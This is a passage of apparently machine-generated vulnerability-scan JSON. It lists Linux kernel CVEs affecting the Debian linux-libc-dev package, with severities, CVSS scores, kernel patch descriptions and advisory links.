"https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38585" ], "PublishedDate": "2025-08-19T17:15:35.877Z", "LastModifiedDate": "2026-06-17T09:17:09.88Z" }, { "VulnerabilityID": "CVE-2025-38595", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38595", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:773134ad6f45780e8cf0d47c0f0209fe04d7b375aff644803823d9d4244528e4", "Title": "kernel: xen: fix UAF in dmabuf_exp_from_pages()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxen: fix UAF in dmabuf_exp_from_pages()\n\n[dma_buf_fd() fixes; no preferences regarding the tree it goes through -\nup to xen folks]\n\nAs soon as we'd inserted a file reference into descriptor table, another\nthread could close it. That's fine for the case when all we are doing is\nreturning that descriptor to userland (it's a race, but it's a userland\nrace and there's nothing the kernel can do about it). However, if we\nfollow fd_install() with any kind of access to objects that would be\ndestroyed on close (be it the struct file itself or anything destroyed\nby its -\u003erelease()), we have a UAF.\n\ndma_buf_fd() is a combination of reserving a descriptor and fd_install().\ngntdev dmabuf_exp_from_pages() calls it and then proceeds to access the\nobjects destroyed on close - starting with gntdev_dmabuf itself.\n\nFix that by doing reserving descriptor before anything else and do\nfd_install() only when everything had been set up.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38595", "https://git.kernel.org/linus/532c8b51b3a8676cbf533a291f8156774f30ea87%20%286.17-rc1%29", "https://git.kernel.org/stable/c/2be49867e68abbeb52d7f5d15eb1216154e2c0a0", "https://git.kernel.org/stable/c/3edfd2353f301bfffd5ee41066e37320a59ccc2d", "https://git.kernel.org/stable/c/532c8b51b3a8676cbf533a291f8156774f30ea87", "https://git.kernel.org/stable/c/ba8bc644f168509c16d48444991de7cfea3f12ec", "https://git.kernel.org/stable/c/d59d49af4aeed9a81e673e37c26c6a3bacf1a181", "https://git.kernel.org/stable/c/e5907885260401bba300d4d18d79875c05b82651", "https://lore.kernel.org/linux-cve-announce/2025081918-CVE-2025-38595-9676@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38595", "https://ubuntu.com/security/notices/USN-7879-1", "https://ubuntu.com/security/notices/USN-7879-2", "https://ubuntu.com/security/notices/USN-7879-3", "https://ubuntu.com/security/notices/USN-7879-4", "https://ubuntu.com/security/notices/USN-7880-1", "https://ubuntu.com/security/notices/USN-7934-1", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38595" ], "PublishedDate": "2025-08-19T17:15:37.343Z", "LastModifiedDate": "2026-10-30T13:18:06.41Z" }, { "VulnerabilityID": "CVE-2025-38616", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38616", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:68de1ed5689bd80e0b2f09e025035000df89f987daaed0a6216af54a4c6307c5", "Title": "kernel: Linux kernel: Denial of Service in kTLS due to race condition in receive path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ntls: handle data disappearing from under the TLS ULP\n\nTLS expects that it owns the receive queue of the TCP socket.\nThis cannot be guaranteed in case the reader of the TCP socket\nentered before the TLS ULP was installed, or uses some non-standard\nread API (eg. zerocopy ones). Replace the WARN_ON() and a buggy\nearly exit (which leaves anchor pointing to a freed skb) with real\nerror handling. Wipe the parsing state and tell the reader to retry.\n\nWe already reload the anchor every time we (re)acquire the socket lock,\nso the only condition we need to avoid is an out of bounds read\n(not having enough bytes in the socket for previously parsed record len).\n\nIf some data was read from under TLS but there's enough in the queue\nwe'll reload and decrypt what is most likely not a valid TLS record.\nLeading to some undefined behavior from TLS perspective (corrupting\na stream? missing an alert? missing an attack?) but no kernel crash\nshould take place.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.1 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38616", "https://access.redhat.com/security/cve/CVE-2025-38616", "https://git.kernel.org/linus/6db015fc4b5d5f63a64a193f65d98da3a7fc811d%20%286.17-rc2%29", "https://git.kernel.org/stable/c/2fb97ed9e2672b4f6e24ce206ac1a875ce4bcb38", "https://git.kernel.org/stable/c/6db015fc4b5d5f63a64a193f65d98da3a7fc811d", "https://git.kernel.org/stable/c/db3658a12d5ec4db7185ae7476151a50521b7207", "https://git.kernel.org/stable/c/eb0336f213fe88bbdb7d2b19c9c9ec19245a3155", "https://git.kernel.org/stable/c/ef50eaab631f9bf519ddbdfa42ccb0528adc1fc8", "https://git.kernel.org/stable/c/f1fe99919f629f980d0b8a7ff16950bffe06a859", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.2/BRSA-9eggzdlcebif.toml", "https://linux.oracle.com/cve/CVE-2025-38616.html", "https://linux.oracle.com/errata/ELSA-2025-20662.html", "https://lore.kernel.org/linux-cve-announce/2025082212-CVE-2025-38616-64a8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38616", "https://ubuntu.com/security/notices/USN-7879-1", "https://ubuntu.com/security/notices/USN-7879-2", "https://ubuntu.com/security/notices/USN-7879-3", "https://ubuntu.com/security/notices/USN-7879-4", "https://ubuntu.com/security/notices/USN-7880-1", "https://ubuntu.com/security/notices/USN-7889-1", "https://ubuntu.com/security/notices/USN-7889-2", "https://ubuntu.com/security/notices/USN-7889-3", "https://ubuntu.com/security/notices/USN-7889-4", "https://ubuntu.com/security/notices/USN-7889-5", "https://ubuntu.com/security/notices/USN-7889-6", "https://ubuntu.com/security/notices/USN-7889-7", "https://ubuntu.com/security/notices/USN-7934-1", "https://ubuntu.com/security/notices/USN-7935-1", "https://ubuntu.com/security/notices/USN-7940-1", "https://ubuntu.com/security/notices/USN-7940-2", "https://www.cve.org/CVERecord?id=CVE-2025-38616" ], "PublishedDate": "2025-08-22T14:15:46.017Z", "LastModifiedDate": "2026-08-27T13:16:37.357Z" }, { "VulnerabilityID": "CVE-2025-38627", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38627", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:40b100926a7847d247a654a150e9f25b6298355041d3eb087458d3eada3701d5", "Title": "kernel: f2fs: compress: fix UAF of f2fs_inode_info in f2fs_free_dic", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: compress: fix UAF of f2fs_inode_info in f2fs_free_dic\n\nThe decompress_io_ctx may be released asynchronously after\nI/O completion. If this file is deleted immediately after read,\nand the kworker of processing post_read_wq has not been executed yet\ndue to high workloads, It is possible that the inode(f2fs_inode_info)\nis evicted and freed before it is used f2fs_free_dic.\n\n The UAF case as below:\n Thread A Thread B\n - f2fs_decompress_end_io\n - f2fs_put_dic\n - queue_work\n add free_dic work to post_read_wq\n - do_unlink\n - iput\n - evict\n - call_rcu\n This file is deleted after read.\n\n Thread C kworker to process post_read_wq\n - rcu_do_batch\n - f2fs_free_inode\n - kmem_cache_free\n inode is freed by rcu\n - process_scheduled_works\n - f2fs_late_free_dic\n - f2fs_free_dic\n - f2fs_release_decomp_mem\n read (dic-\u003einode)-\u003ei_compress_algorithm\n\nThis patch store compress_algorithm and sbi in dic to avoid inode UAF.\n\nIn addition, the previous solution is deprecated in [1] may cause system hang.\n[1] https://lore.kernel.org/all/c36ab955-c8db-4a8b-a9d0-f07b5f426c3f@kernel.org", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38627", "https://git.kernel.org/linus/39868685c2a94a70762bc6d77dc81d781d05bff5%20%286.17-rc1%29", "https://git.kernel.org/stable/c/39868685c2a94a70762bc6d77dc81d781d05bff5", "https://git.kernel.org/stable/c/5d604d40cd3232b09cb339941ef958e49283ed0a", "https://git.kernel.org/stable/c/74cbeeca4f16823ba58c882e1d8b836c0e39c93d", "https://git.kernel.org/stable/c/8fae5b6addd5f6895e03797b56e3c7b9f9cd15c9", "https://git.kernel.org/stable/c/cc81768212cdc509e5a986274db7bc24d18cde19", "https://lore.kernel.org/linux-cve-announce/2025082231-CVE-2025-38627-7cb6@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38627", "https://ubuntu.com/security/notices/USN-8095-1", "https://ubuntu.com/security/notices/USN-8095-2", "https://ubuntu.com/security/notices/USN-8095-3", "https://ubuntu.com/security/notices/USN-8095-4", "https://ubuntu.com/security/notices/USN-8095-5", "https://ubuntu.com/security/notices/USN-8100-1", "https://ubuntu.com/security/notices/USN-8125-1", "https://ubuntu.com/security/notices/USN-8126-1", "https://ubuntu.com/security/notices/USN-8165-1", "https://ubuntu.com/security/notices/USN-8261-1", "https://www.cve.org/CVERecord?id=CVE-2025-38627" ], "PublishedDate": "2025-08-22T16:15:36.337Z", "LastModifiedDate": "2026-07-30T06:23:32.153Z" }, { "VulnerabilityID": "CVE-2025-38636", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38636", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e1d50b438b0c9d211bf539d0420f3be960d8bc44f8e8c3cdffdb71fdc15198af", "Title": "kernel: rv: Use strings in da monitors tracepoints", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrv: Use strings in da monitors tracepoints\n\nUsing DA monitors tracepoints with KASAN enabled triggers the following\nwarning:\n\n BUG: KASAN: global-out-of-bounds in do_trace_event_raw_event_event_da_monitor+0xd6/0x1a0\n Read of size 32 at addr ffffffffaada8980 by task ...\n Call Trace:\n \u003cTASK\u003e\n [...]\n do_trace_event_raw_event_event_da_monitor+0xd6/0x1a0\n ? __pfx_do_trace_event_raw_event_event_da_monitor+0x10/0x10\n ? trace_event_sncid+0x83/0x200\n trace_event_sncid+0x163/0x200\n [...]\n The buggy address belongs to the variable:\n automaton_snep+0x4e0/0x5e0\n\nThis is caused by the tracepoints reading 32 bytes __array instead of\n__string from the automata definition. Such strings are literals and\nreading 32 bytes ends up in out of bound memory accesses (e.g. the next\nautomaton's data in this case).\nThe error is harmless as, while printing the string, we stop at the null\nterminator, but it should still be fixed.\n\nUse the __string facilities while defining the tracepoints to avoid\nreading out of bound memory.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38636", "https://git.kernel.org/linus/7f904ff6e58d398c4336f3c19c42b338324451f7%20%286.17-rc1%29", "https://git.kernel.org/stable/c/0ebc70d973ce7a81826b5c4f55f743e07f5864d9", "https://git.kernel.org/stable/c/665ca03e93cee01baadc7b5eaee21b9d892e0dab", "https://git.kernel.org/stable/c/7f904ff6e58d398c4336f3c19c42b338324451f7", "https://git.kernel.org/stable/c/cb8de6f5ed5c43f7387615bbe601d2a4a31b7b35", "https://git.kernel.org/stable/c/dcae71222c8b9e5b5dd88a2d67347dedf10e68c6", "https://lore.kernel.org/linux-cve-announce/2025082233-CVE-2025-38636-0ce2@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38636", "https://ubuntu.com/security/notices/USN-8781-1", "https://www.cve.org/CVERecord?id=CVE-2025-38636" ], "PublishedDate": "2025-08-22T16:15:37.587Z", "LastModifiedDate": "2026-11-05T22:17:21.737Z" }, { "VulnerabilityID": "CVE-2025-38704", "VendorIDs": [ "DSA-6243-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.170-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38704", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4a3ad77396a01ee2eb718eae3d6e4545171dbf9c36d455e347e5916f50b353ab", "Title": "kernel: rcu/nocb: Fix possible invalid rdp's-\u003enocb_cb_kthread pointer access", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcu/nocb: Fix possible invalid rdp's-\u003enocb_cb_kthread pointer access\n\nIn the preparation stage of CPU online, if the corresponding\nthe rdp's-\u003enocb_cb_kthread does not exist, will be created,\nthere is a situation where the rdp's rcuop kthreads creation fails,\nand then de-offload this CPU's rdp, does not assign this CPU's\nrdp-\u003enocb_cb_kthread pointer, but this rdp's-\u003enocb_gp_rdp and\nrdp's-\u003erdp_gp-\u003enocb_gp_kthread is still valid.\n\nThis will cause the subsequent re-offload operation of this offline\nCPU, which will pass the conditional check and the kthread_unpark()\nwill access invalid rdp's-\u003enocb_cb_kthread pointer.\n\nThis commit therefore use rdp's-\u003enocb_gp_kthread instead of\nrdp_gp's-\u003enocb_gp_kthread for safety check.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38704", "https://access.redhat.com/security/cve/CVE-2025-38704", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/1bba3900ca18bdae28d1b9fa10f16a8f8cb2ada1%20%286.17-rc1%29", "https://git.kernel.org/stable/c/1bba3900ca18bdae28d1b9fa10f16a8f8cb2ada1", "https://git.kernel.org/stable/c/1c951683a720b17c9ecaad1932bc95b29044611f", "https://git.kernel.org/stable/c/3da45ec1e485a1a5ad31fe9ddd467c7ee5ae4ef9", "https://git.kernel.org/stable/c/9b5ec8e6b31755288a07b3abeeab8cd38e9d3c9d", "https://git.kernel.org/stable/c/b097ae798298885695c339d390b48b4e39619fa7", "https://git.kernel.org/stable/c/cce3d027227c69e85896af9fbc6fa9af5c68f067", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/4.3.2/BRSA-ohuf6bglufne.toml", "https://linux.oracle.com/cve/CVE-2025-38704.html", "https://linux.oracle.com/errata/ELSA-2025-20662.html", "https://lore.kernel.org/linux-cve-announce/2025090454-CVE-2025-38704-4353@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38704", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38704" ], "PublishedDate": "2025-09-04T16:15:39.263Z", "LastModifiedDate": "2026-10-19T21:10:00.16Z" }, { "VulnerabilityID": "CVE-2025-38722", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38722", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3bcd8a01934d7c35e45322cc84f75730ed6847dbd6b2a01d8901857bd4d9cc48", "Title": "kernel: habanalabs: fix UAF in export_dmabuf()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nhabanalabs: fix UAF in export_dmabuf()\n\nAs soon as we'd inserted a file reference into descriptor table, another\nthread could close it. That's fine for the case when all we are doing is\nreturning that descriptor to userland (it's a race, but it's a userland\nrace and there's nothing the kernel can do about it). However, if we\nfollow fd_install() with any kind of access to objects that would be\ndestroyed on close (be it the struct file itself or anything destroyed\nby its -\u003erelease()), we have a UAF.\n\ndma_buf_fd() is a combination of reserving a descriptor and fd_install().\nhabanalabs export_dmabuf() calls it and then proceeds to access the\nobjects destroyed on close. In particular, it grabs an extra reference to\nanother struct file that will be dropped as part of -\u003erelease() for ours;\nthat \"will be\" is actually \"might have already been\".\n\nFix that by reserving descriptor before anything else and do fd_install()\nonly when everything had been set up. As a side benefit, we no longer\nhave the failure exit with file already created, but reference to\nunderlying file (as well as -\u003edmabuf_export_cnt, etc.) not grabbed yet;\nunlike dma_buf_fd(), fd_install() can't fail.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38722", "https://git.kernel.org/linus/33927f3d0ecdcff06326d6e4edb6166aed42811c%20%286.17-rc2%29", "https://git.kernel.org/stable/c/33927f3d0ecdcff06326d6e4edb6166aed42811c", "https://git.kernel.org/stable/c/40deceb38f9db759772d1c289c28fd2a543f57fc", "https://git.kernel.org/stable/c/55c232d7e0241f1d5120b595e7a9de24c75ed3d8", "https://git.kernel.org/stable/c/5b0c23e9ec3e161a893d6ff9b4fad479e4539627", "https://git.kernel.org/stable/c/c07886761fd6251db6938d4e747002e3d150d231", "https://git.kernel.org/stable/c/d26058c2349d77d1ef179a2cc9752ca12004b6ff", "https://lore.kernel.org/linux-cve-announce/2025090400-CVE-2025-38722-de5f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2025-38722", "https://ubuntu.com/security/notices/USN-8028-1", "https://ubuntu.com/security/notices/USN-8028-2", "https://ubuntu.com/security/notices/USN-8028-3", "https://ubuntu.com/security/notices/USN-8028-4", "https://ubuntu.com/security/notices/USN-8028-5", "https://ubuntu.com/security/notices/USN-8028-6", "https://ubuntu.com/security/notices/USN-8028-7", "https://ubuntu.com/security/notices/USN-8028-8", "https://ubuntu.com/security/notices/USN-8031-1", "https://ubuntu.com/security/notices/USN-8031-2", "https://ubuntu.com/security/notices/USN-8031-3", "https://ubuntu.com/security/notices/USN-8052-1", "https://ubuntu.com/security/notices/USN-8052-2", "https://ubuntu.com/security/notices/USN-8074-1", "https://ubuntu.com/security/notices/USN-8074-2", "https://ubuntu.com/security/notices/USN-8126-1", "https://www.cve.org/CVERecord?id=CVE-2025-38722" ], "PublishedDate": "2025-09-04T16:15:41.993Z", "LastModifiedDate": "2026-10-30T13:18:07.79Z" }, { "VulnerabilityID": "CVE-2025-38734", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-38734", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cdc1af40ec555b127bc9762321f6ac4c6f0fd160d7c3dc604b7231998c3119f4", "Title": "kernel: net/smc: fix UAF on smcsk after smc_listen_out()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/smc: fix UAF on smcsk after smc_listen_out()\n\nBPF CI testing report a UAF issue:\n\n [ 16.446633] BUG: kernel NULL pointer dereference, address: 000000000000003 0\n [ 16.447134] #PF: supervisor read access in kernel mod e\n [ 16.447516] #PF: error_code(0x0000) - not-present pag e\n [ 16.447878] PGD 0 P4D 0\n [ 16.448063] Oops: Oops: 0000 [#1] PREEMPT SMP NOPT I\n [ 16.448409] CPU: 0 UID: 0 PID: 9 Comm: kworker/0:1 Tainted: G OE 6.13.0-rc3-g89e8a75fda73-dirty #4 2\n [ 16.449124] Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODUL E\n [ 16.449502] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/201 4\n [ 16.450201] Workqueue: smc_hs_wq smc_listen_wor k\n [ 16.450531] RIP: 0010:smc_listen_work+0xc02/0x159 0\n [ 16.452158] RSP: 0018:ffffb5ab40053d98 EFLAGS: 0001024 6\n [ 16.452526] RAX: 0000000000000001 RBX: 0000000000000002 RCX: 000000000000030 0\n [ 16.452994] RDX: 0000000000000280 RSI: 00003513840053f0 RDI: 000000000000000 0\n [ 16.453492] RBP: ffffa097808e3800 R08: ffffa09782dba1e0 R09: 000000000000000 5\n [ 16.453987] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa0978274640 0\n [ 16.454497] R13: 0000000000000000 R14: 0000000000000000 R15: ffffa09782d4092 0\n [ 16.454996] FS: 0000000000000000(0000) GS:ffffa097bbc00000(0000) knlGS:000000000000000 0\n [ 16.455557] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003 3\n [ 16.455961] CR2: 0000000000000030 CR3: 0000000102788004 CR4: 0000000000770ef 0\n [ 16.456459] PKRU: 5555555 4\n [ 16.456654] Call Trace :\n [ 16.456832] \u003cTASK \u003e\n [ 16.456989] ? __die+0x23/0x7 0\n [ 16.457215] ? page_fault_oops+0x180/0x4c 0\n [ 16.457508] ? __lock_acquire+0x3e6/0x249 0\n [ 16.457801] ? exc_page_fault+0x68/0x20 0\n [ 16.458080] ? asm_exc_page_fault+0x26/0x3 0\n [ 16.458389] ? smc_listen_work+0xc02/0x159 0\n [ 16.458689] ? smc_listen_work+0xc02/0x159 0\n [ 16.458987] ? lock_is_held_type+0x8f/0x10 0\n [ 16.459284] process_one_work+0x1ea/0x6d 0\n [ 16.459570] worker_thread+0x1c3/0x38 0\n [ 16.459839] ? __pfx_worker_thread+0x10/0x1 0\n [ 16.460144] kthread+0xe0/0x11 0\n [ 16.460372] ? __pfx_kthread+0x10/0x1 0\n [ 16.460640] ret_from_fork+0x31/0x5 0\n [ 16.460896] ? __pfx_kthread+0x10/0x1 0\n [ 16.461166] ret_from_fork_asm+0x1a/0x3 0\n [ 16.461453] \u003c/TASK \u003e\n [ 16.461616] Modules linked in: bpf_testmod(OE) [last unloaded: bpf_testmod(OE) ]\n [ 16.462134] CR2: 000000000000003 0\n [ 16.462380] ---[ end trace 0000000000000000 ]---\n [ 16.462710] RIP: 0010:smc_listen_work+0xc02/0x1590\n\nThe direct cause of this issue is that after smc_listen_out_connected(),\nnewclcsock-\u003esk may be NULL since it will releases the smcsk. Therefore,\nif the application closes the socket immediately after accept,\nnewclcsock-\u003esk can be NULL. A possible execution order could be as\nfollows:\n\nsmc_listen_work | userspace\n-----------------------------------------------------------------\nlock_sock(sk) |\nsmc_listen_out_connected() |\n| \\- smc_listen_out |\n| | \\- release_sock |\n | |- sk-\u003esk_data_ready() |\n | fd = accept();\n | close(fd);\n | \\- socket-\u003esk = NULL;\n/* newclcsock-\u003esk is NULL now */\nSMC_STAT_SERV_SUCC_INC(sock_net(newclcsock-\u003esk))\n\nSince smc_listen_out_connected() will not fail, simply swapping the order\nof the code can easily fix this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2025-38734", "https://git.kernel.org/linus/d9cef55ed49117bd63695446fb84b4b91815c0b4%20%286.17-rc3%29", "https://git.kernel.org/stable/c/070b4af44c4b6e4c35fb1ca7001a6a88fd2d318f", "https://git.kernel.org/stable/c/2e765ba0ee0eae35688b443e97108308a716773e", "https://git.kernel.org/stable/c/85545f1525f9fa9bf44fec77ba011024f15da342", 